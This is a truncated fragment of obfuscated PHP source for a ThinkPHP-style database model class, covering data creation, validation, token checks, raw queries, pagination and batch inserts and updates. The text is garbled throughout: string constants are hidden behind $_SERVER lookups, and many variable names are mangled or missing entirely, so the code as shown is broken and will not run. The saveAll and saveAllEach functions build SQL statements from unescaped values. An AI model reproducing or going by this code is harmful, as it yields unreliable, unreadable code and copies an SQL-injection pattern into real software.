$љڭ; } } return $; } } else { if (!0 !== $ɐ) { $ƺ[$ԅ[292]] = is_numeric($ɐ) ? $ɐ : 1; } if ($ɐ === $ԅ[255]) { unset($ƺ[$ԅ[292]]); } $љڭ = $this->db->select($ƺ); if (!empty($љڭ)) { if ($ɐ === $ԅ[255]) { return reset($љڭ[0]); } if (!0 !== $ɐ && 1 == $ƺ[$ԅ[292]]) { return reset($љڭ[0]); } foreach ($љڭ as $ی) { $ڡ[] = $ی[$Ŧ]; } return $ڡ; } } return null; } public function create($ɕ = '', $ʈІ = '') { $ƭΈ =& $_SERVER[]; if (empty($ɕ)) { $ɕ = $_POST; } elseif (is_object($ɕ)) { $ɕ = get_object_vars($ɕ); } if (empty($ɕ) || !is_array($ɕ)) { $this->error = think_lang($ƭΈ[271]); return !1; } $ɕ = $this->parseFieldsMap($ɕ, 0); $ʈІ = $ʈІ ? $ʈІ : (!empty($ɕ[$this->getPk()]) ? THINK_MODEL_UPDATE : THINK_MODEL_INSERT); if (isset($this->options[$ƭΈ[273]])) { $ǚ = $this->options[$ƭΈ[273]]; unset($this->options[$ƭΈ[273]]); } elseif ($ʈІ == THINK_MODEL_INSERT && isset($this->insertFields)) { $ǚ = $this->insertFields; } elseif ($ʈІ == THINK_MODEL_UPDATE && isset($this->updateFields)) { $ǚ = $this->updateFields; } if (isset($ǚ)) { if (is_string($ǚ)) { $ǚ = explode($ƭΈ[50], $ǚ); } if (think_config($ƭΈ[298])) { $ǚ[] = think_config($ƭΈ[299]); } foreach ($ɕ as $ѕ => $φ) { if (!in_array($ѕ, $ǚ)) { unset($ɕ[$ѕ]); } } } if (!$this->autoValidation($ɕ, $ʈІ)) { return !1; } if (!$this->autoCheckToken($ɕ)) { $this->error = think_lang($ƭΈ[300]); return !1; } if ($this->autoCheckFields) { $ǚ = $this->getDbFields(); foreach ($ɕ as $ѕ => $φ) { if (!in_array($ѕ, $ǚ)) { unset($ɕ[$ѕ]); } elseif (MAGIC_QUOTES_GPC && is_string($φ)) { $ɕ[$ѕ] = stripslashes($φ); } } } $this->autoOperation($ɕ, $ʈІ); $this->data = $ɕ; return $ɕ; } public function autoCheckToken($Ń) { $ =& $_SERVER[]; if (isset($this->options[$[301]]) && !$this->options[$[301]]) { return !0; } if (think_config($[298])) { $ = think_config($[299]); if (!isset($Ń[$]) || Session::get($)) { return !1; } list($߫, $Ě) = explode($[11], $Ń[$]); if ($Ě && Session::get($ . $[10] . $߫) === $Ě) { Session::remove($ . $[10] . $߫); return !0; } if (think_config($[302])) { Session::remove($ . $[10] . $߫); } return !1; } return !0; } public function regex($±, $ɨ) { $Η =& $_SERVER[]; $ = array($Η[303] => $Η[304], $Η[305] => $Η[306], $Η[307] => $Η[308], $Η[309] => $Η[310], $Η[311] => $Η[312], $Η[313] => $Η[314], $Η[315] => $Η[316], $Η[290] => $Η[317], $Η[318] => $Η[319]); if (isset($[strtolower($ɨ)])) { $ɨ = $[strtolower($ɨ)]; } return preg_match($ɨ, $±) === 1; } private function autoOperation(&$ؽ, $҅ʝ) { $Ũ =& $_SERVER[]; if (!empty($this->options[$Ũ[320]])) { $ = $this->options[$Ũ[320]]; unset($this->options[$Ũ[320]]); } elseif (!empty($this->_auto)) { $ = $this->_auto; } if (isset($)) { foreach ($ as $⮶) { if (empty($⮶[2])) { $⮶[2] = THINK_MODEL_INSERT; } if ($҅ʝ == $⮶[2] || $⮶[2] == THINK_MODEL_BOTH) { switch (trim($⮶[3])) { case $Ũ[321]: case $Ũ[322]: $Ĵݐ = isset($⮶[4]) ? (array) $⮶[4] : array(); if (isset($ؽ[$⮶[0]])) { array_unshift($Ĵݐ, $ؽ[$⮶[0]]); } if ($Ũ[321] == $⮶[3]) { $ؽ[$⮶[0]] = call_user_func_array($⮶[1], $Ĵݐ); } else { $ؽ[$⮶[0]] = call_user_func_array(array(&$this, $⮶[1]), $Ĵݐ); } break; case $Ũ[273]: $ؽ[$⮶[0]] = $ؽ[$⮶[1]]; break; case $Ũ[323]: if ($Ũ[12] === $ؽ[$⮶[0]]) { unset($ؽ[$⮶[0]]); } break; case $Ũ[324]: default: $ؽ[$⮶[0]] = $⮶[1]; } if (!1 === $ؽ[$⮶[0]]) { unset($ؽ[$⮶[0]]); } } } } return $ؽ; } protected function autoValidation($, $ѕ) { $ =& $_SERVER[]; if (!empty($this->options[$[325]])) { $ = $this->options[$[325]]; unset($this->options[$[325]]); } elseif (!empty($this->_validate)) { $ = $this->_validate; } if (isset($)) { if ($this->patchValidate) { $this->error = array(); } foreach ($ as $ => $ڊ) { if (empty($ڊ[5]) || $ڊ[5] == THINK_MODEL_BOTH || $ڊ[5] == $ѕ) { if (0 == strpos($ڊ[2], $[326]) && strpos($ڊ[2], $[327])) { $ڊ[2] = think_lang(substr($ڊ[2], 2, -1)); } $ڊ[3] = isset($ڊ[3]) ? $ڊ[3] : THINK_EXISTS_VALIDATE; $ڊ[4] = isset($ڊ[4]) ? $ڊ[4] : $[328]; switch ($ڊ[3]) { case THINK_MUST_VALIDATE: if (!1 === $this->_validationField($, $ڊ)) { return !1; } break; case THINK_VALUE_VALIDATE: if ($[12] != trim($[$ڊ[0]])) { if (!1 === $this->_validationField($, $ڊ)) { return !1; } } break; default: if (isset($[$ڊ[0]])) { if (!1 === $this->_validationField($, $ڊ)) { return !1; } } } } } if (!empty($this->error)) { return !1; } } return !0; } protected function _validationField($݈, $) { if (!1 === $this->_validationFieldItem($݈, $)) { if ($this->patchValidate) { $this->error[$[0]] = $[2]; } else { $this->error = $[2]; return !1; } } return; } protected function _validationFieldItem($, $) { $ =& $_SERVER[]; switch (strtolower(trim($[4]))) { case $[321]: case $[322]: $ = isset($[6]) ? (array) $[6] : array(); if (is_string($[0]) && strpos($[0], $[50])) { $[0] = explode($[50], $[0]); } if (is_array($[0])) { foreach ($[0] as $) { $縊[$] = $[$]; } array_unshift($, $縊); } else { array_unshift($, $[$[0]]); } if ($[321] == $[4]) { return call_user_func_array($[1], $); } else { return call_user_func_array(array(&$this, $[1]), $); } case $[329]: return $[$[0]] == $[$[1]]; case $[330]: if (is_string($[0]) && strpos($[0], $[50])) { $[0] = explode($[50], $[0]); } $ŵ = array(); if (is_array($[0])) { foreach ($[0] as $) { $ŵ[$] = $[$]; } } else { $ŵ[$[0]] = $[$[0]]; } if (!empty($[$this->getPk()])) { $ŵ[$this->getPk()] = array($[331], $[$this->getPk()]); } if ($this->where($ŵ)->find()) { return !1; } return !0; default: return $this->check($[$[0]], $[1], $[4]); } } public function check($, $£, $즰 = "\162\x65\x67\145\170") { $ =& $_SERVER[]; $즰 = strtolower(trim($즰)); switch ($즰) { case $[7]: case $[332]: $ݠ = is_array($£) ? $£ : explode($[50], $£); return $즰 == $[7] ? in_array($, $ݠ) : !in_array($, $ݠ); case $[333]: case $[334]: if (is_array($£)) { $ = $£[0]; $ӹ = $£[1]; } else { list($, $ӹ) = explode($[50], $£); } return $즰 == $[333] ? $ >= $ && $ <= $ӹ : $ < $ || $ > $ӹ; case $[335]: case $[336]: return $즰 == $[335] ? $ == $£ : $ != $£; case $[337]: $ = mb_strlen($, $[338]); if (strpos($£, $[50])) { list($, $ӹ) = explode($[50], $£); return $ >= $ && $ <= $ӹ; } else { return $ == $£; } case $[339]: list($Ԩȏ, $Ѝ) = explode($[50], $£); if (!is_numeric($Ԩȏ)) { $Ԩȏ = strtotime($Ԩȏ); } if (!is_numeric($Ѝ)) { $Ѝ = strtotime($Ѝ); } return NOW_TIME >= $Ԩȏ && NOW_TIME <= $Ѝ; case $[340]: return in_array(get_client_ip(), explode($[50], $£)); case $[341]: return !in_array(get_client_ip(), explode($[50], $£)); case $[328]: default: return $this->regex($, $£); } } public function query($, $ވ = false) { $ =& $_SERVER[]; if (!is_bool($ވ) && !is_array($ވ)) { $ވ = func_get_args(); array_shift($ވ); } $ = str_replace(array($[231], $[342]), $[53], $); $ = $this->parseSql($, $ވ); return $this->db->query($); } public function execute($۱, $ʕ = false) { if (!is_bool($ʕ) && !is_array($ʕ)) { $ʕ = func_get_args(); array_shift($ʕ); } $۱ = $this->parseSql($۱, $ʕ); return $this->db->execute($۱); } protected function parseSql($, $) { $ =& $_SERVER[]; if (!0 === $) { $ = $this->_parseOptions(); $ = $this->db->parseSql($, $); } elseif (is_array($)) { $ = array_map(array($this->db, $[343]), $); $ = vsprintf($, $); } else { $ = strtr($, array($[344] => $this->getTableName(), $[345] => think_config($[244]))); } $this->db->setModel($this->name); return $; } public function db($ = '', $ = '', $ۂ = array()) { $ә =& $_SERVER[]; if ($ә[12] === $ && $this->db) { return $this->db; } static $ސ = array(); static $ = array(); if (!isset($[$]) || isset($[$]) && $ && $ސ[$] != $) { if (!empty($) && is_string($) && !1 === strpos($, $ә[8])) { $ = think_config($); } $ = think_guid($); $[$] = Db::getInstance($); } elseif (NULL === $) { $[$]->close(); unset($[$]); return; } if (!empty($ۂ)) { if (is_string($ۂ)) { parse_str($ۂ, $ۂ); } foreach ($ۂ as $Ё => $ɼ) { $this->setProperty($Ё, $ɼ); } } $ސ[$] = $; $this->db = $[$]; $this->_after_db(); if (!empty($this->name) && $this->autoCheckFields) { $this->_checkTableInfo(); } return $this; } protected function _after_db() { } public function getModelName() { if (empty($this->name)) { $պ = get_class($this); if ($պ == $_SERVER[][346]) { return $this->name; } $this->name = substr($պ, 0, -5); } return $this->name; } public function getTableName() { $ =& $_SERVER[]; if (empty($this->trueTableName)) { $ = !empty($this->tablePrefix) ? $this->tablePrefix : $[12]; if (!empty($this->tableName)) { $ .= $this->tableName; } else { $ .= think_parse_name($this->name); } $this->trueTableName = strtolower($); } return (!empty($this->dbName) ? $this->dbName . $[10] : $[12]) . $this->trueTableName; } public function startTrans() { $this->commit(); $this->db->startTrans(); return; } public function commit() { return $this->db->commit(); } public function rollback() { return $this->db->rollback(); } public function getError() { return $this->error; } public function getDbError() { return $this->db->getError(); } public function getLastInsID() { return $this->db->getLastInsID(); } public function getLastSql() { return $this->db->getLastSql($this->name); } public function _sql() { return $this->getLastSql(); } public function getPk() { $ =& $_SERVER[]; return isset($this->fields[$[251]]) ? $this->fields[$[251]] : $this->pk; } public function getDbFields() { $Ը =& $_SERVER[]; if (isset($this->options[$Ը[279]])) { $ = $this->db->getFields($this->options[$Ը[279]]); return $ ? array_keys($) : !1; } if ($this->fields) { $ = $this->fields; unset($[$Ը[250]], $[$Ը[251]], $[$Ը[252]], $[$Ը[249]]); return $; } return !1; } public function data($ = '') { $㤹 =& $_SERVER[]; if ($㤹[12] === $ && !empty($this->data)) { return $this->data; } if (is_object($)) { $ = get_object_vars($); } elseif (is_string($)) { parse_str($, $); } elseif (!is_array($)) { think_exception(think_lang($㤹[271])); } $this->data = $; return $this; } public function join($) { $ =& $_SERVER[]; if (is_array($)) { $this->options[$[282]] = $; } elseif (!empty($)) { $this->options[$[282]][] = $; } return $this; } public function union($ඝ, $ƌ = false) { $ =& $_SERVER[]; if (empty($ඝ)) { return $this; } if ($ƌ) { $this->options[$[347]][$[348]] = !0; } if (is_object($ඝ)) { $ඝ = get_object_vars($ඝ); } if (is_string($ඝ)) { $ = $ඝ; } elseif (is_array($ඝ)) { if (isset($ඝ[0])) { $this->options[$[347]] = array_merge($this->options[$[347]], $ඝ); return $this; } else { $ = $ඝ; } } else { think_exception(think_lang($[271])); } $this->options[$[347]][] = $; return $this; } public function cache($ӽ = true, $ = null, $嬺 = '') { $ϝغ =& $_SERVER[]; if (!1 !== $ӽ) { $this->options[$ϝغ[349]] = array($ϝغ[94] => $ӽ, $ϝغ[339] => $, $ϝغ[33] => $嬺); } return $this; } public function field($б, $ʆ = false) { $ɖ =& $_SERVER[]; if (!0 === $б) { $ = $this->getDbFields(); $б = $ ? $ : $ɖ[189]; } elseif ($ʆ) { if (is_string($б)) { $б = explode($ɖ[50], $б); } $ = $this->getDbFields(); $б = $ ? array_diff($, $б) : $б; } $this->options[$ɖ[273]] = $б; return $this; } public function scope($ = '', $ = NULL) { $ڙִ =& $_SERVER[]; if ($ڙִ[12] === $) { if (isset($this->_scope[$ڙִ[37]])) { $ = $this->_scope[$ڙִ[37]]; } else { return $this; } } elseif (is_string($)) { $ޙ = explode($ڙִ[50], $); $ = array(); foreach ($ޙ as $) { if (!isset($this->_scope[$])) { continue; } $ = array_merge($, $this->_scope[$]); } if (!empty($) && is_array($)) { $ = array_merge($, $); } } elseif (is_array($)) { $ = $; } if (is_array($) && !empty($)) { $this->options = array_merge($this->options, array_change_key_case($)); } return $this; } public function where($ӷԢ, $ = null) { $ =& $_SERVER[]; if (!is_null($) && is_string($ӷԢ)) { if (!is_array($)) { $ = func_get_args(); array_shift($); } $ = array_map(array($this->db, $[343]), $); $ӷԢ = vsprintf($ӷԢ, $); } elseif (is_object($ӷԢ)) { $ӷԢ = get_object_vars($ӷԢ); } elseif (is_array($ӷԢ)) { foreach ($ӷԢ as $ => $) { if ((is_numeric($) || !$) && is_string($)) { if (strpos($, $[350]) === 0) { continue; } think_trace($[351], $[12], $[49]); die; } } } if (is_string($ӷԢ) && $[12] != $ӷԢ) { $ = array(); $[$[352]] = $ӷԢ; $ӷԢ = $; } if (isset($this->options[$[275]])) { $this->options[$[275]] = array_merge($this->options[$[275]], $ӷԢ); } else { $this->options[$[275]] = $ӷԢ; } return $this; } public function limit($ϓ, $۷ = null) { $Ѩ =& $_SERVER[]; $this->options[$Ѩ[292]] = is_null($۷) ? $ϓ : $ϓ . $Ѩ[50] . $۷; return $this; } public function page($, $̵ = null) { $ޥ =& $_SERVER[]; $this->options[$ޥ[353]] = is_null($̵) ? $ : $ . $ޥ[50] . $̵; return $this; } public function comment($̃) { $this->options[$_SERVER[][354]] = $̃; return $this; } public function setProperty($ڄշ, $) { if (property_exists($this, $ڄշ)) { $this->{$ڄշ} = $; } return $this; } } class ModelBase extends Model { const SQL_WHERE_IN_CHUNK = 2000; protected $dataAuto = array(array("\x6d\157\144\x69\x66\x79\x54\151\155\x65", "\x74\151\155\x65", "\151\156\x73\x65\162\x74\54\165\160\144\x61\x74\x65", "\x66\x75\156\x63\164\151\157\x6e"), array("\143\162\x65\x61\x74\x65\124\x69\x6d\x65", "\x74\151\x6d\145", "\x69\156\x73\145\x72\x74", "\x66\165\156\143\x74\151\157\x6e")); public function setDataAuto($۹Lj) { $this->dataAuto = $۹Lj; } public function __construct($ = '', $ = '', $Ś = '') { parent::__construct($, $, $Ś); } protected $tableMeta = array(); protected function _beforeInsert(&$غǝ, $ڐ) { $ā =& $_SERVER[]; if (!$this->checkDataAutoHas($ā[355])) { return; } $this->dataBeforeFilter($غǝ, $ā[355]); } protected function _beforeUpdate(&$, $ﺽ) { $ؔМ =& $_SERVER[]; if (!$this->checkDataAutoHas($ؔМ[356])) { return; } $this->dataBeforeFilter($, $ؔМ[356]); } protected function _afterSelect(&$, $虹) { if (!is_array($)) { return; } if (!$this->checkDataAutoHas($_SERVER[][357])) { return; } foreach ($ as &$) { $this->dataAfterFilter($); } unset($); } protected function _afterFind(&$, $Ԁҵ) { if (!is_array($)) { return; } if (!$this->checkDataAutoHas($_SERVER[][357])) { return; } $this->dataAfterFilter($); } public static function textEncode($Ʈ) { if (!$Ʈ) { return $Ʈ; } $͔ = json_encode($Ʈ); $͔ = preg_replace_callback($_SERVER[][358], function ($) { return addslashes($[0]); }, $͔); return json_decode($͔); } public static function textDecode($) { $ͣ쎘 =& $_SERVER[]; $à = json_encode($); $à = preg_replace_callback($ͣ쎘[359], function ($) { return $_SERVER[][97]; }, $Ã); return json_decode($Ã); } public function setAutoIncrement($) { $ = array($this->getPk() => $); $ = $this->data($)->add(); if ($) { $this->delete($); } } public function getAutoIncrement() { $ = $this->getTableName(); $ = $this->max($this->getPk()); $݀ = $this->query("\163\150\x6f\x77\x20\x74\141\x62\x6c\145\x20\163\x74\141\x74\165\x73\40\x77\x68\145\x72\145\40\116\141\x6d\x65\x3d\x27{$}\47"); $ = $݀[0][$_SERVER[][360]]; $蕯 = max($, $); return $蕯; } protected function _callBefore($Ջ, $ƭ) { return $this->cacheCallCheck($Ջ, $ƭ, !1); } protected function _callAfter($Խ, $⢍) { return $this->cacheCallCheck($Խ, $⢍, !0); } protected function cacheFunctionAlias($݈) { return !1; } public function cacheMemory() { return $this->cache(null, 0); } protected function cacheCallCheck($וɨ, $α, $Ȋ = false) { $ꝸ = $this->cacheFunctionAlias($α); if (!$ꝸ) { return; } foreach ($ꝸ as $ => $կ) { $Ȟ = $կ[0]; $ = explode($_SERVER[][50], $կ[1]); if ($וɨ == $) { return $this->cacheFunctionGet($, $Ȟ); } if ($Ȋ && in_array($וɨ, $)) { $this->cacheFunctionClear($, $Ȟ); } } } public function cacheFunctionGet($ޝ, $) { $; = $this->cacheKeyMake($ޝ, $); $ = Cache::get($;); if (!is_array($)) { $ = call_user_func_array(array($this, $ޝ), array($, !0)); Cache::set($;, $); } return $; } public function cacheFunctionClear($, $) { $͘ = $; if (!is_array($)) { $͘ = array($); } foreach ($͘ as $θ) { $㶋 = $this->cacheKeyMake($, $θ); Cache::remove($㶋); } } private function cacheKeyMake($ߢ, $) { $ڝ߉ =& $_SERVER[]; return get_class($this) . $ڝ߉[11] . $ߢ . $ڝ߉[361] . $; } protected function selectPageReset() { $랗 =& $_SERVER[]; if (isset($GLOBALS[$랗[362]])) { return; } $GLOBALS[$랗[362]] = isset($GLOBALS[$랗[7]][$랗[363]]) ? $GLOBALS[$랗[7]][$랗[363]] : !1; $GLOBALS[$랗[364]] = isset($GLOBALS[$랗[7]][$랗[353]]) ? $GLOBALS[$랗[7]][$랗[353]] : !1; $GLOBALS[$랗[7]][$랗[363]] = !1; $GLOBALS[$랗[7]][$랗[353]] = !1; } protected function selectPageRestore() { $չ =& $_SERVER[]; if (!isset($GLOBALS[$չ[362]])) { return; } $GLOBALS[$չ[7]][$չ[363]] = $GLOBALS[$չ[362]]; $GLOBALS[$չ[7]][$չ[353]] = $GLOBALS[$չ[364]]; if ($GLOBALS[$չ[7]][$չ[363]] === !1) { unset($GLOBALS[$չ[7]][$չ[363]]); } if ($GLOBALS[$չ[7]][$չ[353]] === !1) { unset($GLOBALS[$չ[7]][$չ[353]]); } unset($GLOBALS[$չ[362]]); unset($GLOBALS[$չ[364]]); } protected function selectPage($ = 200, $ = 1) { $ =& $_SERVER[]; global $in; $ = $this->optionsValue(); $恌 = 50000; $ = isset($in[$[363]]) && $in[$[363]] ? $in[$[363]] : $; if ($ === -1) { $in[$[363]] = !1; $恌 = 100000000; $ = $恌; } $ᎎ = $; $ᎎ[$[365]] = array(); $ = intval($); $ = $ <= 5 ? 5 : ($ >= $恌 ? $恌 : $); $ = intval(isset($in[$[353]]) && $in[$[353]] ? $in[$[353]] : $); $ = $ <= 1 ? 1 : $; $ = array(); $̀ = 1; if ($ == 1 && $̀) { $this->optionsValue($); $ = $this->page($, $)->select(); $ܖ = is_array($) ? count($) : 0; if ($ܖ < $) { $׳ = 1; } else { $this->optionsValue($ᎎ); $ܖ = intval($this->count()); $׳ = ceil($ܖ / $); } } else { $this->optionsValue($ᎎ); $ܖ = intval($this->count()); $׳ = ceil($ܖ / $); $ = $ >= $׳ ? $׳ : $; $this->optionsValue($); $ = $this->page($, $)->select(); } if (!is_array($)) { $ = array(); } if ($׳ == 1) { $ܖ = count($); } $ܲ = array($[366] => array($[367] => $ܖ, $[363] => $, $[353] => $, $[368] => $׳), $[369] => $); return $ܲ; } protected function checkLength($ܞ, $ǹ = 0, $Ś = '') { $ =& $_SERVER[]; $ǹ = $ǹ ? $ǹ : 65536; if (!$ܞ || strlen($ܞ) < $ǹ) { return; } $Ś = $Ś ? $Ś . $[71] : $[12]; show_json($Ś . LNG($[370]) . "\x28{$ǹ}\51", !1); } protected function metaSet($, $ΐ = null, $ţҮ = null) { $ =& $_SERVER[]; if (!$this->tableMeta || !$) { return !1; } $쇔 = $this->tableMeta[$[371]]; $ޤ̯ = $this->tableMeta[$[372]]; $ = Model($ޤ̯); $퉌 = array($쇔 => $, $[373] => $ΐ); if (is_null($ΐ)) { return $->where(array($쇔 => $))->delete(); } if (is_null($ţҮ) && is_string($ΐ)) { return $->where($퉌)->delete(); } $ = is_array($ΐ) ? $ΐ : array(); if (is_string($ΐ)) { $[$ΐ] = $ţҮ; } $ג = array(); foreach ($ as $ => $) { if (is_null($) && is_string($)) { $->where(array($쇔 => $, $[373] => $))->delete(); continue; } $this->checkLength($, !1, $ޤ̯ . $[4] . $); $ג[] = array($쇔 => $, $[94] => $, $[374] => $); } $狙 = $[375] . $ޤ̯; CacheLock::lock($狙); $->where(array($쇔 => $))->addAll($ג, array(), !0); CacheLock::unlock($狙); return !0; } public function metaGet($, $ӈ = false) { $॥ =& $_SERVER[]; if (!$this->tableMeta) { return array(); } $˞ = $this->tableMeta[$॥[371]]; $ = Model($this->tableMeta[$॥[372]]); if ($ӈ) { $ = array($˞ => $, $॥[94] => $ӈ); return $->where($)->getField($॥[374]); } $ = array($˞ => $); $㉻ = $->field($॥[376])->where($)->select(); $㉻ = array_to_keyvalue($㉻, $॥[94], $॥[374]); return $㉻; } private function checkDataAutoHas($ŷ) { if (!is_array($this->dataAuto) || count($this->dataAuto) == 0) { return !1; } foreach ($this->dataAuto as $ń) { if (in_array($ŷ, explode($_SERVER[][50], $ń[2]))) { return !0; } } return !1; } private function dataBeforeFilter(&$յ, $߱) { $ۊ =& $_SERVER[]; if (!is_array($յ)) { return; } foreach ($this->dataAuto as $Υ) { $ = $Υ[0]; if (!in_array($߱, explode($ۊ[50], $Υ[2]))) { continue; } switch (trim($Υ[3])) { case $ۊ[321]: case $ۊ[322]: $Ɩ = $Υ[1]; $ܠе = isset($Υ[4]) ? (array) $Υ[4] : array(); if ($Ɩ == $ۊ[180] && array_key_exists($, $յ)) { if (!$յ[$]) { unset($յ[$]); } break; } if (isset($յ[$])) { array_unshift($ܠе, $յ[$]); } if ($ۊ[321] == $Υ[3]) { $յ[$] = call_user_func_array($Ɩ, $ܠе); } else { $յ[$] = call_user_func_array(array(&$this, $Ɩ), $ܠе); } break; case $ۊ[270]: if (isset($յ[$]) && $յ[$]) { $յ[$] = call_user_func_array(array(&$this, $Υ[1]), array($յ[$])); } break; case $ۊ[273]: $յ[$] = $յ[$Υ[1]]; break; case $ۊ[294]: if (isset($յ[$]) && !is_string($յ[$])) { $յ[$] = json_encode_force($յ[$]); } break; case $ۊ[323]: if ($յ[$] === $ۊ[12]) { unset($յ[$]); } break; case $ۊ[324]: $յ[$] = $Υ[1]; default: break; } } if ($߱ == $ۊ[355]) { $ⶽڐ = strtolower($this->db->getDbType()); if (strpos($ⶽڐ, $ۊ[13]) !== 0) { return; } $Ƽɻ = $this->field(!0)->fields; $̳ = $Ƽɻ[$ۊ[252]]; if (isset($Ƽɻ[$ۊ[251]])) { unset($̳[$Ƽɻ[$ۊ[251]]]); } foreach ($̳ as $ɀ => $߱) { if (!isset($յ[$ɀ])) { $յ[$ɀ] = $ۊ[12]; } } } } private function dataAfterFilter(&$߃) { $Ȃ =& $_SERVER[]; foreach ($this->dataAuto as $) { $ = $[0]; if (!isset($߃[$])) { continue; } if (!in_array($Ȃ[357], explode($Ȃ[50], $[2]))) { continue; } switch (trim($[3])) { case $Ȃ[321]: case $Ȃ[322]: $ɿ = isset($[4]) ? (array) $[4] : array(); array_unshift($ɿ, $߃[$]); if (isset($[4]) && $[4] == $Ȃ[377]) { $ɿ = array($߃[$]); } if ($Ȃ[321] == $[3]) { $߃[$] = call_user_func_array($[1], $ɿ); } else { $߃[$] = call_user_func_array(array(&$this, $[1]), $ɿ); } break; case $Ȃ[270]: if (isset($߃[$]) && $߃[$]) { $߃[$] = call_user_func_array(array(&$this, $[1]), array($߃[$])); } break; case $Ȃ[273]: $߃[$] = $߃[$[1]]; break; case $Ȃ[294]: $ϔ = $߃[$]; $߃[$] = json_decode($ϔ, !0); if (is_null($߃[$])) { $߃[$] = $ϔ; } break; case $Ȃ[323]: if ($߃[$] === $Ȃ[12]) { unset($߃[$]); } break; case $Ȃ[324]: $߃[$] = $[1]; break; default: break; } } } public function saveAll($Ӌ) { $睜 =& $_SERVER[]; $ݙѷ = $this->tablePrefix . $this->tableName; $ɿ = self::SQL_WHERE_IN_CHUNK; $Ӌ = is_array($Ӌ) ? $Ӌ : array(); $ڟ = $睜[378]; $ = 0; $ = array(); $ = count($Ӌ); for ($亘 = 0; $亘 < $; $亘++) { $ = $Ӌ[$亘]; if (!is_array($) || count($) != 4) { continue; } $ʕ = "\x55\120\x44\101\x54\x45\40\140{$ݙѷ}\x60\x20\x53\105\x54\40{$[2]}\40\75\40\103\x41\123\x45\x20{$[0]}\x20\12"; if ($ == 0) { $ڟ = $ʕ; } $[] = $睜[118] . $[1] . $睜[118]; $++; $ڟ .= "\40\x57\110\x45\x4e\40\47{$[1]}\47\40\124\110\x45\116\40\47{$[3]}\47\40\xa"; if ($ == $ɿ || $亘 == $ - 1) { $Һ = implode($睜[50], $); $ڟ .= "\x20\105\x4e\x44\40\x20\x57\x48\105\122\105\x20{$[0]}\40\x49\116\40\x28{$Һ}\x29\x20"; $this->execute($ڟ); $ = 0; $ڟ = $ʕ; $this->chunkEventCheck(count($)); $ = array(); } } $this->chunkEventSet(); } public function saveAllEach($lj) { $ɳ =& $_SERVER[]; $ = $this->tablePrefix . $this->tableName; foreach ($lj as $) { if (!is_array($) || count($) != 4) { continue; } $ő = $[0] . $ɳ[379] . $[1] . $ɳ[118]; $ = $[2] . $ɳ[379] . $[3] . $ɳ[118]; $ŵ = "\165\160\144\141\x74\x65\40{$}\40\x73\x65\x74\x20{$}\x20\167\x68\145\x72\x65\40{$ő}\x3b"; $this->execute($ŵ); } } protected $_chunkEvent = false; protected $_chunkEventParam = false; public function chunkEventSet($ = false, $ = false) { $this->_chunkEvent = $; $this->_chunkEventParam = $; } private function chunkEventCheck($ׇɬ) { if (!$this->_chunkEvent) { return; } $ں = is_array($this->_chunkEventParam) ? $this->_chunkEventParam : array(); $ں[$_SERVER[][380]] = $ׇɬ; Hook::trigger($this->_chunkEvent, $ں); } public function addAll($, $҃ = array(), $ = false) { $ =& $_SERVER[]; ignore_timeout(); $瘩 = self::SQL_WHERE_IN_CHUNK; if (empty($)) { $this->error = think_lang($[271]); return !1; } $҃ = $this->_parseOptions($҃); foreach ($ as $ӄ => $) { $[$ӄ] = $this->_facade($); $this->_beforeInsert($[$ӄ], $҃); } if (method_exists($this->db, $[272])) { for ($ځ = 0; $ځ < count($); $ځ += $瘩) { $ = array_slice($, $ځ, $瘩); if (!is_array($) || count($) == 0) { break; } $졊 = $this->db->insertAll($, $҃, $); $this->chunkEventCheck(count($)); } $this->chunkEventSet(); } else { $this->startTrans(); foreach ($ as $ӄ => $) { $졊 = $this->db->insert($, $҃, $); } $this->commit(); } if (!1 !== $졊) { $Ѝ = $this->getLastInsID(); if ($Ѝ) { return $Ѝ; } } return $졊; } public function save($륧 = '', $ = array()) { $ʻ =& $_SERVER[]; $۟ = self::SQL_WHERE_IN_CHUNK; $ؗ = $this->optionsValue(); $ = $this->findWhereField($ؗ); if (!$) { return parent::save($륧, $); } $ = 0; $ơ = $ؗ[$ʻ[275]][$][1]; $ơ = is_array($ơ) ? $ơ : array(); $ĥ = count($ơ); for ($Ĕ = 0; $Ĕ < $ĥ; $Ĕ += $۟) { $͞ = array_slice($ơ, $Ĕ, $۟); if (!is_array($͞) || count($͞) == 0) { break; } $ؗ[$ʻ[275]][$][1] = $͞; $this->optionsValue($ؗ); $ += parent::save($륧, $); $this->chunkEventCheck(count($͞)); } $this->chunkEventSet(); return $; } public function add($ = '', $Յ = array(), $ = false) { if ($this->addTaskStatus && is_array($)) { $this->addTaskData[] = $; return; } return parent::add($, $Յ, $); } public function parseWhereLike($Ȕ, $ = '', $훻 = false, &$Ӯ = false) { $ĭĢ =& $_SERVER[]; $ʕ = $GLOBALS[$ĭĢ[6]][$ĭĢ[381]]; if (!$ʕ[$ĭĢ[382]]) { return $Ȕ; } if (!is_array($Ȕ)) { return $Ȕ; } $ʦ = array(); $Ŋ = 0; foreach ($Ȕ as $ => $آ) { if (is_array($آ) && count($آ) == 2 && $آ[0] == $ĭĢ[383] && is_string($آ[1]) && substr($آ[1], 0, 1) == $ĭĢ[384] && substr($آ[1], strlen($آ[1]) - 1, 1) == $ĭĢ[384]) { $Ӯ = !0; $ӟ = is_string($) ? $ : $; $ؑ = substr($آ[1], 1, strlen($آ[1]) - 2); $ؑ = $this->db->escapeString($ؑ); if (!strpos($ӟ, $ĭĢ[10])) { $ӟ = $ĭĢ[385] . $ӟ . $ĭĢ[385]; } $ͷ = $ĭĢ[189] . $ؑ . $ĭĢ[189]; $ؑ = str_replace(array($ĭĢ[10], $ĭĢ[386], $ĭĢ[11]), $ĭĢ[387], $ؑ); if ($ʕ[$ĭĢ[388]]) { $ͷ = $ĭĢ[389] . $ؑ . $ĭĢ[390]; if ($ʕ[$ĭĢ[391]]) { $ͷ = $ĭĢ[390] . $ؑ . $ĭĢ[389]; } } $ʦ[$Ŋ] = $ĭĢ[392] . $ӟ . $ĭĢ[393] . $ͷ . $ĭĢ[394]; $Ŋ++; continue; } if (is_array($آ)) { $ = is_string($) ? $ : $; $آ = $this->parseWhereLike($آ, $, !0, $Ӯ); } if (is_numeric($)) { $ʦ[$Ŋ] = $آ; $Ŋ++; } else { $ʦ[$] = $آ; } } if ($Ӯ && !$훻) { } return $ʦ; } private $addTaskStatus = false; private $addTaskData = array(); public function addTaskStart() { $this->addTaskStatus = !0; $this->addTaskData = array(); } public function addTaskEnd() { if (!$this->addTaskStatus) { return; } $this->addAll($this->addTaskData); $this->addTaskStatus = !1; $this->addTaskData = array(); } public function select($ = array()) { $Ϙ =& $_SERVER[]; $ = 